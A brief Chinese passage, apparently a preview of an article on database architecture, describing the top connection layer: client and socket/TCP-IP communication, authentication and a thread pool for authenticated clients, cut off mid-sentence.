前置知识点 最上层是一些客户端和连接服务,包含本 sock 通信和大多数jiyukehuduan/服务端工具实现的TCP/IP通信。主要完成一些简介处理、授权认证、及相关的安全方案等。在该层上引入了线程池的概念,为通过安全认证接入的客户端提供线程。同样在该层上可…...
